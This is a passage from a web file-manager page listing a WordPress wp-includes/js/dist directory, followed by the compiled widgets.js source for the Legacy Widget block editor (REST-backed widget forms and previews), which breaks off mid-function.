at path:ROOT / wp-includes / js / dist / widgets.js
run:R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
DIR
2026-02-25 08:00:54
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.24 KB
2025-12-03 06:22:56
R W Run
12.66 KB
2025-12-03 06:22:56
R W Run
9.18 KB
2025-12-03 06:22:56
R W Run
22.91 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
23.02 KB
2025-12-03 06:22:56
R W Run
12.74 KB
2025-12-03 06:22:56
R W Run
17.03 KB
2025-12-03 06:22:56
R W Run
12.56 KB
2024-01-31 12:59:56
R W Run
7.34 KB
2025-12-03 06:22:56
R W Run
7.15 KB
2025-12-03 06:22:56
R W Run
10.17 KB
2025-12-03 06:22:56
R W Run
8.16 KB
2024-01-31 12:59:56
R W Run
77.3 KB
2025-12-03 06:22:56
R W Run
27.26 KB
2025-12-03 06:22:56
R W Run
2.23 MB
2026-02-04 01:01:35
R W Run
878.41 KB
2026-02-04 01:01:35
R W Run
2.2 MB
2026-02-04 01:01:35
R W Run
967.08 KB
2026-02-04 01:01:35
R W Run
13.89 KB
2025-12-03 06:22:56
R W Run
9.42 KB
2024-01-31 12:59:56
R W Run
434.6 KB
2026-02-04 01:01:35
R W Run
179.81 KB
2026-02-04 01:01:35
R W Run
178.79 KB
2025-12-03 06:22:56
R W Run
55.84 KB
2025-12-03 06:22:56
R W Run
2.39 MB
2026-02-04 01:01:35
R W Run
793.68 KB
2026-02-04 01:01:35
R W Run
149.99 KB
2025-12-03 06:22:56
R W Run
42.85 KB
2025-12-03 06:22:56
R W Run
32.74 KB
2025-12-03 06:22:56
R W Run
17.47 KB
2025-12-03 06:22:56
R W Run
223.77 KB
2025-12-03 06:22:56
R W Run
75.81 KB
2025-12-03 06:22:56
R W Run
93.53 KB
2025-12-03 06:22:56
R W Run
41.3 KB
2025-12-03 06:22:56
R W Run
11.46 KB
2025-12-03 06:22:56
R W Run
8.52 KB
2024-01-31 12:59:56
R W Run
95.23 KB
2025-12-03 06:22:56
R W Run
31.93 KB
2025-12-03 06:22:56
R W Run
797.94 KB
2025-12-03 06:22:56
R W Run
772.41 KB
2025-12-03 06:22:56
R W Run
9.33 KB
2025-12-03 06:22:56
R W Run
7.75 KB
2024-01-31 12:59:56
R W Run
8.65 KB
2025-12-03 06:22:56
R W Run
7.52 KB
2024-01-31 12:59:56
R W Run
41.26 KB
2025-12-03 06:22:56
R W Run
19.38 KB
2025-12-03 06:22:56
R W Run
111.74 KB
2025-12-03 06:22:56
R W Run
49.77 KB
2025-12-03 06:22:56
R W Run
1.77 MB
2026-02-04 01:01:35
R W Run
707.33 KB
2026-02-04 01:01:35
R W Run
159.45 KB
2025-12-03 06:22:56
R W Run
64.69 KB
2025-12-03 06:22:56
R W Run
1.1 MB
2026-02-04 01:01:35
R W Run
416.87 KB
2026-02-04 01:01:35
R W Run
53.25 KB
2025-12-03 06:22:56
R W Run
18.91 KB
2025-12-03 06:22:56
R W Run
10.07 KB
2025-12-03 06:22:56
R W Run
8.05 KB
2024-01-31 12:59:56
R W Run
78.51 KB
2026-02-04 01:01:35
R W Run
33.84 KB
2026-02-04 01:01:35
R W Run
22.72 KB
2025-12-03 06:22:56
R W Run
12.61 KB
2025-12-03 06:22:56
R W Run
9.37 KB
2025-12-03 06:22:56
R W Run
7.85 KB
2025-12-03 06:22:56
R W Run
31.42 KB
2025-12-03 06:22:56
R W Run
12.27 KB
2025-12-03 06:22:56
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
1.07 KB
2026-03-17 01:08:49
R W Run
10.36 KB
2025-12-03 06:22:56
R W Run
8.07 KB
2024-01-31 12:59:56
R W Run
16.3 KB
2025-12-03 06:22:56
R W Run
10.06 KB
2025-12-03 06:22:56
R W Run
14.97 KB
2025-12-03 06:22:56
R W Run
9.59 KB
2025-12-03 06:22:56
R W Run
451.81 KB
2025-12-03 06:22:56
R W Run
199.1 KB
2025-12-03 06:22:56
R W Run
37.03 KB
2025-12-03 06:22:56
R W Run
11.7 KB
2025-12-03 06:22:56
R W Run
30.42 KB
2025-12-03 06:22:56
R W Run
16.8 KB
2025-12-03 06:22:56
R W Run
12.92 KB
2025-12-03 06:22:56
R W Run
9.11 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.51 KB
2025-12-03 06:22:56
R W Run
67.39 KB
2025-12-03 06:22:56
R W Run
28.55 KB
2025-12-03 06:22:56
R W Run
20.73 KB
2025-12-03 06:22:56
R W Run
11.31 KB
2025-12-03 06:22:56
R W Run
23.9 KB
2025-12-03 06:22:56
R W Run
12.41 KB
2025-12-03 06:22:56
R W Run
27.34 KB
2025-12-03 06:22:56
R W Run
13.93 KB
2025-12-03 06:22:56
R W Run
12.18 KB
2025-12-03 06:22:56
R W Run
8.7 KB
2025-12-03 06:22:56
R W Run
16.97 KB
2025-12-03 06:22:56
R W Run
10.38 KB
2025-12-03 06:22:56
R W Run
12.42 KB
2025-12-03 06:22:56
R W Run
9.84 KB
2025-12-03 06:22:56
R W Run
28.3 KB
2025-12-03 06:22:56
R W Run
15.76 KB
2025-04-16 02:33:33
R W Run
25.52 KB
2025-12-03 06:22:56
R W Run
12.98 KB
2025-12-03 06:22:56
R W Run
90.6 KB
2025-12-03 06:22:56
R W Run
43.5 KB
2025-12-03 06:22:56
R W Run
59.35 KB
2025-12-03 06:22:56
R W Run
20.52 KB
2025-12-03 06:22:56
R W Run
16.76 KB
2025-12-03 06:22:56
R W Run
10.16 KB
2025-12-03 06:22:56
R W Run
16.91 KB
2025-12-03 06:22:56
R W Run
9.91 KB
2025-12-03 06:22:56
R W Run
42.2 KB
2025-12-03 06:22:56
R W Run
13 KB
2025-12-03 06:22:56
R W Run
12.94 KB
2025-12-03 06:22:56
R W Run
8.35 KB
2025-12-03 06:22:56
R W Run
27.33 KB
2025-12-03 06:22:56
R W Run
15.41 KB
2025-12-03 06:22:56
R W Run
13.37 KB
2025-12-03 06:22:56
R W Run
8.91 KB
2025-12-03 06:22:56
R W Run
14.88 KB
2025-12-03 06:22:56
R W Run
9.76 KB
2025-12-03 06:22:56
R W Run
8.68 KB
2025-12-03 06:22:56
R W Run
7.37 KB
2025-12-03 06:22:56
R W Run
54.69 KB
2025-12-03 06:22:56
R W Run
26.58 KB
2025-12-03 06:22:56
R W Run
20.33 KB
2025-12-03 06:22:56
R W Run
10.32 KB
2025-12-03 06:22:56
R W Run
error_log
📄widgets.js
1/******/ (() => { // webpackBootstrap
2/******/ "use strict";
3/******/ // The require scope
4/******/ var __webpack_require__ = {};
5/******/
6/************************************************************************/
7/******/ /* webpack/runtime/compat get default export */
8/******/ (() => {
9/******/ // getDefaultExport function for compatibility with non-harmony modules
10/******/ __webpack_require__.n = (module) => {
11/******/ var getter = module && module.__esModule ?
12/******/ () => (module['default']) :
13/******/ () => (module);
14/******/ __webpack_require__.d(getter, { a: getter });
15/******/ return getter;
16/******/ };
17/******/ })();
18/******/
19/******/ /* webpack/runtime/define property getters */
20/******/ (() => {
21/******/ // define getter functions for harmony exports
22/******/ __webpack_require__.d = (exports, definition) => {
23/******/ for(var key in definition) {
24/******/ if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
25/******/ Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
26/******/ }
27/******/ }
28/******/ };
29/******/ })();
30/******/
31/******/ /* webpack/runtime/hasOwnProperty shorthand */
32/******/ (() => {
33/******/ __webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
34/******/ })();
35/******/
36/******/ /* webpack/runtime/make namespace object */
37/******/ (() => {
38/******/ // define __esModule on exports
39/******/ __webpack_require__.r = (exports) => {
40/******/ if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
41/******/ Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
42/******/ }
43/******/ Object.defineProperty(exports, '__esModule', { value: true });
44/******/ };
45/******/ })();
46/******/
47/************************************************************************/
48var __webpack_exports__ = {};
49// ESM COMPAT FLAG
50__webpack_require__.r(__webpack_exports__);
51
52// EXPORTS
53__webpack_require__.d(__webpack_exports__, {
54 MoveToWidgetArea: () => (/* reexport */ MoveToWidgetArea),
55 addWidgetIdToBlock: () => (/* reexport */ addWidgetIdToBlock),
56 getWidgetIdFromBlock: () => (/* reexport */ getWidgetIdFromBlock),
57 registerLegacyWidgetBlock: () => (/* binding */ registerLegacyWidgetBlock),
58 registerLegacyWidgetVariations: () => (/* reexport */ registerLegacyWidgetVariations),
59 registerWidgetGroupBlock: () => (/* binding */ registerWidgetGroupBlock)
60});
61
62// NAMESPACE OBJECT: ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/index.js
63var legacy_widget_namespaceObject = {};
64__webpack_require__.r(legacy_widget_namespaceObject);
65__webpack_require__.d(legacy_widget_namespaceObject, {
66 yu: () => (block_namespaceObject),
67 UU: () => (legacy_widget_name),
68 W0: () => (settings)
69});
70
71// NAMESPACE OBJECT: ./node_modules/@wordpress/widgets/build-module/blocks/widget-group/index.js
72var widget_group_namespaceObject = {};
73__webpack_require__.r(widget_group_namespaceObject);
74__webpack_require__.d(widget_group_namespaceObject, {
75 yu: () => (widget_group_block_namespaceObject),
76 UU: () => (widget_group_name),
77 W0: () => (widget_group_settings)
78});
79
80;// external ["wp","blocks"]
81const external_wp_blocks_namespaceObject = window["wp"]["blocks"];
82;// external "ReactJSXRuntime"
83const external_ReactJSXRuntime_namespaceObject = window["ReactJSXRuntime"];
84;// external ["wp","primitives"]
85const external_wp_primitives_namespaceObject = window["wp"]["primitives"];
86;// ./node_modules/@wordpress/icons/build-module/library/widget.js
87
88
89var widget_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M6 3H8V5H16V3H18V5C19.1046 5 20 5.89543 20 7V19C20 20.1046 19.1046 21 18 21H6C4.89543 21 4 20.1046 4 19V7C4 5.89543 4.89543 5 6 5V3ZM18 6.5H6C5.72386 6.5 5.5 6.72386 5.5 7V8H18.5V7C18.5 6.72386 18.2761 6.5 18 6.5ZM18.5 9.5H5.5V19C5.5 19.2761 5.72386 19.5 6 19.5H18C18.2761 19.5 18.5 19.2761 18.5 19V9.5ZM11 11H13V13H11V11ZM7 11V13H9V11H7ZM15 13V11H17V13H15Z" }) });
90
91
92;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/block.json
93const block_namespaceObject = /*#__PURE__*/JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"core/legacy-widget","title":"Legacy Widget","category":"widgets","description":"Display a legacy widget.","textdomain":"default","attributes":{"id":{"type":"string","default":null},"idBase":{"type":"string","default":null},"instance":{"type":"object","default":null}},"supports":{"html":false,"customClassName":false,"reusable":false},"editorStyle":"wp-block-legacy-widget-editor"}');
94;// ./node_modules/clsx/dist/clsx.mjs
95function r(e){var t,f,n="";if("string"==typeof e||"number"==typeof e)n+=e;else if("object"==typeof e)if(Array.isArray(e)){var o=e.length;for(t=0;t<o;t++)e[t]&&(f=r(e[t]))&&(n&&(n+=" "),n+=f)}else for(f in e)e[f]&&(n&&(n+=" "),n+=f);return n}function clsx(){for(var e,t,f=0,n="",o=arguments.length;f<o;f++)(e=arguments[f])&&(t=r(e))&&(n&&(n+=" "),n+=t);return n}/* harmony default export */ const dist_clsx = (clsx);
96;// external ["wp","blockEditor"]
97const external_wp_blockEditor_namespaceObject = window["wp"]["blockEditor"];
98;// external ["wp","components"]
99const external_wp_components_namespaceObject = window["wp"]["components"];
100;// ./node_modules/@wordpress/icons/build-module/library/brush.js
101
102
103var brush_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.Path, { d: "M4 20h8v-1.5H4V20zM18.9 3.5c-.6-.6-1.5-.6-2.1 0l-7.2 7.2c-.4-.1-.7 0-1.1.1-.5.2-1.5.7-1.9 2.2-.4 1.7-.8 2.2-1.1 2.7-.1.1-.2.3-.3.4l-.6 1.1H6c2 0 3.4-.4 4.7-1.4.8-.6 1.2-1.4 1.3-2.3 0-.3 0-.5-.1-.7L19 5.7c.5-.6.5-1.6-.1-2.2zM9.7 14.7c-.7.5-1.5.8-2.4 1 .2-.5.5-1.2.8-2.3.2-.6.4-1 .8-1.1.5-.1 1 .1 1.3.3.2.2.3.5.2.8 0 .3-.1.9-.7 1.3z" }) });
104
105
106;// external ["wp","i18n"]
107const external_wp_i18n_namespaceObject = window["wp"]["i18n"];
108;// external ["wp","element"]
109const external_wp_element_namespaceObject = window["wp"]["element"];
110;// external ["wp","coreData"]
111const external_wp_coreData_namespaceObject = window["wp"]["coreData"];
112;// external ["wp","data"]
113const external_wp_data_namespaceObject = window["wp"]["data"];
114;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/widget-type-selector.js
115
116
117
118
119
120
121function WidgetTypeSelector({ selectedId, onSelect }) {
122 const widgetTypes = (0,external_wp_data_namespaceObject.useSelect)((select) => {
123 const hiddenIds = select(external_wp_blockEditor_namespaceObject.store).getSettings()?.widgetTypesToHideFromLegacyWidgetBlock ?? [];
124 return select(external_wp_coreData_namespaceObject.store).getWidgetTypes({ per_page: -1 })?.filter((widgetType) => !hiddenIds.includes(widgetType.id));
125 }, []);
126 if (!widgetTypes) {
127 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {});
128 }
129 if (widgetTypes.length === 0) {
130 return (0,external_wp_i18n_namespaceObject.__)("There are no widgets available.");
131 }
132 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
133 external_wp_components_namespaceObject.SelectControl,
134 {
135 __next40pxDefaultSize: true,
136 __nextHasNoMarginBottom: true,
137 label: (0,external_wp_i18n_namespaceObject.__)("Legacy widget"),
138 value: selectedId ?? "",
139 options: [
140 { value: "", label: (0,external_wp_i18n_namespaceObject.__)("Select widget") },
141 ...widgetTypes.map((widgetType) => ({
142 value: widgetType.id,
143 label: widgetType.name
144 }))
145 ],
146 onChange: (value) => {
147 if (value) {
148 const selected = widgetTypes.find(
149 (widgetType) => widgetType.id === value
150 );
151 onSelect({
152 selectedId: selected.id,
153 isMulti: selected.is_multi
154 });
155 } else {
156 onSelect({ selectedId: null });
157 }
158 }
159 }
160 );
161}
162
163
164;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/inspector-card.js
165
166function InspectorCard({ name, description }) {
167 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "wp-block-legacy-widget-inspector-card", children: [
168 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-legacy-widget-inspector-card__name", children: name }),
169 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("span", { children: description })
170 ] });
171}
172
173
174;// external ["wp","notices"]
175const external_wp_notices_namespaceObject = window["wp"]["notices"];
176;// external ["wp","compose"]
177const external_wp_compose_namespaceObject = window["wp"]["compose"];
178;// external ["wp","apiFetch"]
179const external_wp_apiFetch_namespaceObject = window["wp"]["apiFetch"];
180var external_wp_apiFetch_default = /*#__PURE__*/__webpack_require__.n(external_wp_apiFetch_namespaceObject);
181;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/control.js
182
183
184
185class Control {
186 /**
187 * Creates and loads a new control.
188 *
189 * @access public
190 * @param {Object} params
191 * @param {string} params.id
192 * @param {string} params.idBase
193 * @param {Object} params.instance
194 * @param {Function} params.onChangeInstance
195 * @param {Function} params.onChangeHasPreview
196 * @param {Function} params.onError
197 */
198 constructor({
199 id,
200 idBase,
201 instance,
202 onChangeInstance,
203 onChangeHasPreview,
204 onError
205 }) {
206 this.id = id;
207 this.idBase = idBase;
208 this._instance = instance;
209 this._hasPreview = null;
210 this.onChangeInstance = onChangeInstance;
211 this.onChangeHasPreview = onChangeHasPreview;
212 this.onError = onError;
213 this.number = ++lastNumber;
214 this.handleFormChange = (0,external_wp_compose_namespaceObject.debounce)(
215 this.handleFormChange.bind(this),
216 200
217 );
218 this.handleFormSubmit = this.handleFormSubmit.bind(this);
219 this.initDOM();
220 this.bindEvents();
221 this.loadContent();
222 }
223 /**
224 * Clean up the control so that it can be garbage collected.
225 *
226 * @access public
227 */
228 destroy() {
229 this.unbindEvents();
230 this.element.remove();
231 }
232 /**
233 * Creates the control's DOM structure.
234 *
235 * @access private
236 */
237 initDOM() {
238 this.element = el("div", { class: "widget open" }, [
239 el("div", { class: "widget-inside" }, [
240 this.form = el("form", { class: "form", method: "post" }, [
241 // These hidden form inputs are what most widgets' scripts
242 // use to access data about the widget.
243 el("input", {
244 class: "widget-id",
245 type: "hidden",
246 name: "widget-id",
247 value: this.id ?? `${this.idBase}-${this.number}`
248 }),
249 el("input", {
250 class: "id_base",
251 type: "hidden",
252 name: "id_base",
253 value: this.idBase ?? this.id
254 }),
255 el("input", {
256 class: "widget-width",
257 type: "hidden",
258 name: "widget-width",
259 value: "250"
260 }),
261 el("input", {
262 class: "widget-height",
263 type: "hidden",
264 name: "widget-height",
265 value: "200"
266 }),
267 el("input", {
268 class: "widget_number",
269 type: "hidden",
270 name: "widget_number",
271 value: this.idBase ? this.number.toString() : ""
272 }),
273 this.content = el("div", { class: "widget-content" }),
274 // Non-multi widgets can be saved via a Save button.
275 this.id && el(
276 "button",
277 {
278 class: "button is-primary",
279 type: "submit"
280 },
281 (0,external_wp_i18n_namespaceObject.__)("Save")
282 )
283 ])
284 ])
285 ]);
286 }
287 /**
288 * Adds the control's event listeners.
289 *
290 * @access private
291 */
292 bindEvents() {
293 if (window.jQuery) {
294 const { jQuery: $ } = window;
295 $(this.form).on("change", null, this.handleFormChange);
296 $(this.form).on("input", null, this.handleFormChange);
297 $(this.form).on("submit", this.handleFormSubmit);
298 } else {
299 this.form.addEventListener("change", this.handleFormChange);
300 this.form.addEventListener("input", this.handleFormChange);
301 this.form.addEventListener("submit", this.handleFormSubmit);
302 }
303 }
304 /**
305 * Removes the control's event listeners.
306 *
307 * @access private
308 */
309 unbindEvents() {
310 if (window.jQuery) {
311 const { jQuery: $ } = window;
312 $(this.form).off("change", null, this.handleFormChange);
313 $(this.form).off("input", null, this.handleFormChange);
314 $(this.form).off("submit", this.handleFormSubmit);
315 } else {
316 this.form.removeEventListener("change", this.handleFormChange);
317 this.form.removeEventListener("input", this.handleFormChange);
318 this.form.removeEventListener("submit", this.handleFormSubmit);
319 }
320 }
321 /**
322 * Fetches the widget's form HTML from the REST API and loads it into the
323 * control's form.
324 *
325 * @access private
326 */
327 async loadContent() {
328 try {
329 if (this.id) {
330 const { form } = await saveWidget(this.id);
331 this.content.innerHTML = form;
332 } else if (this.idBase) {
333 const { form, preview } = await encodeWidget({
334 idBase: this.idBase,
335 instance: this.instance,
336 number: this.number
337 });
338 this.content.innerHTML = form;
339 this.hasPreview = !isEmptyHTML(preview);
340 if (!this.instance.hash) {
341 const { instance } = await encodeWidget({
342 idBase: this.idBase,
343 instance: this.instance,
344 number: this.number,
345 formData: serializeForm(this.form)
346 });
347 this.instance = instance;
348 }
349 }
350 if (window.jQuery) {
351 const { jQuery: $ } = window;
352 $(document).trigger("widget-added", [$(this.element)]);
353 }
354 } catch (error) {
355 this.onError(error);
356 }
357 }
358 /**
359 * Perform a save when a multi widget's form is changed. Non-multi widgets
360 * are saved manually.
361 *
362 * @access private
363 */
364 handleFormChange() {
365 if (this.idBase) {
366 this.saveForm();
367 }
368 }
369 /**
370 * Perform a save when the control's form is manually submitted.
371 *
372 * @access private
373 * @param {Event} event
374 */
375 handleFormSubmit(event) {
376 event.preventDefault();
377 this.saveForm();
378 }
379 /**
380 * Serialize the control's form, send it to the REST API, and update the
381 * instance with the encoded instance that the REST API returns.
382 *
383 * @access private
384 */
385 async saveForm() {
386 const formData = serializeForm(this.form);
387 try {
388 if (this.id) {
389 const { form } = await saveWidget(this.id, formData);
390 this.content.innerHTML = form;
391 if (window.jQuery) {
392 const { jQuery: $ } = window;
393 $(document).trigger("widget-updated", [
394 $(this.element)
395 ]);
396 }
397 } else if (this.idBase) {
398 const { instance, preview } = await encodeWidget({
399 idBase: this.idBase,
400 instance: this.instance,
401 number: this.number,
402 formData
403 });
404 this.instance = instance;
405 this.hasPreview = !isEmptyHTML(preview);
406 }
407 } catch (error) {
408 this.onError(error);
409 }
410 }
411 /**
412 * The widget's instance object.
413 *
414 * @access private
415 */
416 get instance() {
417 return this._instance;
418 }
419 /**
420 * The widget's instance object.
421 *
422 * @access private
423 */
424 set instance(instance) {
425 if (this._instance !== instance) {
426 this._instance = instance;
427 this.onChangeInstance(instance);
428 }
429 }
430 /**
431 * Whether or not the widget can be previewed.
432 *
433 * @access public
434 */
435 get hasPreview() {
436 return this._hasPreview;
437 }
438 /**
439 * Whether or not the widget can be previewed.
440 *
441 * @access private
442 */
443 set hasPreview(hasPreview) {
444 if (this._hasPreview !== hasPreview) {
445 this._hasPreview = hasPreview;
446 this.onChangeHasPreview(hasPreview);
447 }
448 }
449}
450let lastNumber = 0;
451function el(tagName, attributes = {}, content = null) {
452 const element = document.createElement(tagName);
453 for (const [attribute, value] of Object.entries(attributes)) {
454 element.setAttribute(attribute, value);
455 }
456 if (Array.isArray(content)) {
457 for (const child of content) {
458 if (child) {
459 element.appendChild(child);
460 }
461 }
462 } else if (typeof content === "string") {
463 element.innerText = content;
464 }
465 return element;
466}
467async function saveWidget(id, formData = null) {
468 let widget;
469 if (formData) {
470 widget = await external_wp_apiFetch_default()({
471 path: `/wp/v2/widgets/${id}?context=edit`,
472 method: "PUT",
473 data: {
474 form_data: formData
475 }
476 });
477 } else {
478 widget = await external_wp_apiFetch_default()({
479 path: `/wp/v2/widgets/${id}?context=edit`,
480 method: "GET"
481 });
482 }
483 return { form: widget.rendered_form };
484}
485async function encodeWidget({ idBase, instance, number, formData = null }) {
486 const response = await external_wp_apiFetch_default()({
487 path: `/wp/v2/widget-types/${idBase}/encode`,
488 method: "POST",
489 data: {
490 instance,
491 number,
492 form_data: formData
493 }
494 });
495 return {
496 instance: response.instance,
497 form: response.form,
498 preview: response.preview
499 };
500}
501function isEmptyHTML(html) {
502 const element = document.createElement("div");
503 element.innerHTML = html;
504 return isEmptyNode(element);
505}
506function isEmptyNode(node) {
507 switch (node.nodeType) {
508 case node.TEXT_NODE:
509 return node.nodeValue.trim() === "";
510 case node.ELEMENT_NODE:
511 if ([
512 "AUDIO",
513 "CANVAS",
514 "EMBED",
515 "IFRAME",
516 "IMG",
517 "MATH",
518 "OBJECT",
519 "SVG",
520 "VIDEO"
521 ].includes(node.tagName)) {
522 return false;
523 }
524 if (!node.hasChildNodes()) {
525 return true;
526 }
527 return Array.from(node.childNodes).every(isEmptyNode);
528 default:
529 return true;
530 }
531}
532function serializeForm(form) {
533 return new window.URLSearchParams(
534 Array.from(new window.FormData(form))
535 ).toString();
536}
537
538
539;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/form.js
540
541
542
543
544
545
546
547
548
549function Form({
550 title,
551 isVisible,
552 id,
553 idBase,
554 instance,
555 isWide,
556 onChangeInstance,
557 onChangeHasPreview
558}) {
559 const ref = (0,external_wp_element_namespaceObject.useRef)();
560 const isMediumLargeViewport = (0,external_wp_compose_namespaceObject.useViewportMatch)("small");
561 const outgoingInstances = (0,external_wp_element_namespaceObject.useRef)(/* @__PURE__ */ new Set());
562 const incomingInstances = (0,external_wp_element_namespaceObject.useRef)(/* @__PURE__ */ new Set());
563 const { createNotice } = (0,external_wp_data_namespaceObject.useDispatch)(external_wp_notices_namespaceObject.store);
564 (0,external_wp_element_namespaceObject.useEffect)(() => {
565 if (incomingInstances.current.has(instance)) {
566 incomingInstances.current.delete(instance);
567 return;
568 }
569 const control = new Control({
570 id,
571 idBase,
572 instance,
573 onChangeInstance(nextInstance) {
574 outgoingInstances.current.add(instance);
575 incomingInstances.current.add(nextInstance);
576 onChangeInstance(nextInstance);
577 },
578 onChangeHasPreview,
579 onError(error) {
580 window.console.error(error);
581 createNotice(
582 "error",
583 (0,external_wp_i18n_namespaceObject.sprintf)(
584 /* translators: %s: the name of the affected block. */
585 (0,external_wp_i18n_namespaceObject.__)(
586 'The "%s" block was affected by errors and may not function properly. Check the developer tools for more details.'
587 ),
588 idBase || id
589 )
590 );
591 }
592 });
593 ref.current.appendChild(control.element);
594 return () => {
595 if (outgoingInstances.current.has(instance)) {
596 outgoingInstances.current.delete(instance);
597 return;
598 }
599 control.destroy();
600 };
601 }, [
602 id,
603 idBase,
604 instance,
605 onChangeInstance,
606 onChangeHasPreview,
607 isMediumLargeViewport
608 ]);
609 if (isWide && isMediumLargeViewport) {
610 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
611 "div",
612 {
613 className: dist_clsx({
614 "wp-block-legacy-widget__container": isVisible
615 }),
616 children: [
617 isVisible && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-legacy-widget__edit-form-title", children: title }),
618 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
619 external_wp_components_namespaceObject.Popover,
620 {
621 focusOnMount: false,
622 placement: "right",
623 offset: 32,
624 resize: false,
625 flip: false,
626 shift: true,
627 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
628 "div",
629 {
630 ref,
631 className: "wp-block-legacy-widget__edit-form",
632 hidden: !isVisible
633 }
634 )
635 }
636 )
637 ]
638 }
639 );
640 }
641 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
642 "div",
643 {
644 ref,
645 className: "wp-block-legacy-widget__edit-form",
646 hidden: !isVisible,
647 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("h3", { className: "wp-block-legacy-widget__edit-form-title", children: title })
648 }
649 );
650}
651
652
653;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/preview.js
654
655
656
657
658
659
660
661function Preview({ idBase, instance, isVisible }) {
662 const [isLoaded, setIsLoaded] = (0,external_wp_element_namespaceObject.useState)(false);
663 const [srcDoc, setSrcDoc] = (0,external_wp_element_namespaceObject.useState)("");
664 (0,external_wp_element_namespaceObject.useEffect)(() => {
665 const abortController = typeof window.AbortController === "undefined" ? void 0 : new window.AbortController();
666 async function fetchPreviewHTML() {
667 const restRoute = `/wp/v2/widget-types/${idBase}/render`;
668 return await external_wp_apiFetch_default()({
669 path: restRoute,
670 method: "POST",
671 signal: abortController?.signal,
672 data: instance ? { instance } : {}
673 });
674 }
675 fetchPreviewHTML().then((response) => {
676 setSrcDoc(response.preview);
677 }).catch((error) => {
678 if ("AbortError" === error.name) {
679 return;
680 }
681 throw error;
682 });
683 return () => abortController?.abort();
684 }, [idBase, instance]);
685 const ref = (0,external_wp_compose_namespaceObject.useRefEffect)(
686 (iframe) => {
687 if (!isLoaded) {
688 return;
689 }
690 function setHeight() {
691 const height = Math.max(
692 iframe.contentDocument.documentElement?.offsetHeight ?? 0,
693 iframe.contentDocument.body?.offsetHeight ?? 0
694 );
695 iframe.style.height = `${height !== 0 ? height : 100}px`;
696 }
697 const { IntersectionObserver } = iframe.ownerDocument.defaultView;
698 const intersectionObserver = new IntersectionObserver(
699 ([entry]) => {
700 if (entry.isIntersecting) {
701 setHeight();
702 }
703 },
704 {
705 threshold: 1
706 }
707 );
708 intersectionObserver.observe(iframe);
709 iframe.addEventListener("load", setHeight);
710 return () => {
711 intersectionObserver.disconnect();
712 iframe.removeEventListener("load", setHeight);
713 };
714 },
715 [isLoaded]
716 );
717 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
718 isVisible && !isLoaded && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Placeholder, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Spinner, {}) }),
719 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
720 "div",
721 {
722 className: dist_clsx("wp-block-legacy-widget__edit-preview", {
723 "is-offscreen": !isVisible || !isLoaded
724 }),
725 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.Disabled, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
726 "iframe",
727 {
728 ref,
729 className: "wp-block-legacy-widget__edit-preview-iframe",
730 tabIndex: "-1",
731 title: (0,external_wp_i18n_namespaceObject.__)("Legacy Widget Preview"),
732 srcDoc,
733 onLoad: (event) => {
734 event.target.contentDocument.body.style.overflow = "hidden";
735 setIsLoaded(true);
736 },
737 height: 100
738 }
739 ) })
740 }
741 )
742 ] });
743}
744
745
746;// ./node_modules/@wordpress/widgets/build-module/blocks/legacy-widget/edit/no-preview.js
747
748
749function NoPreview({ name }) {
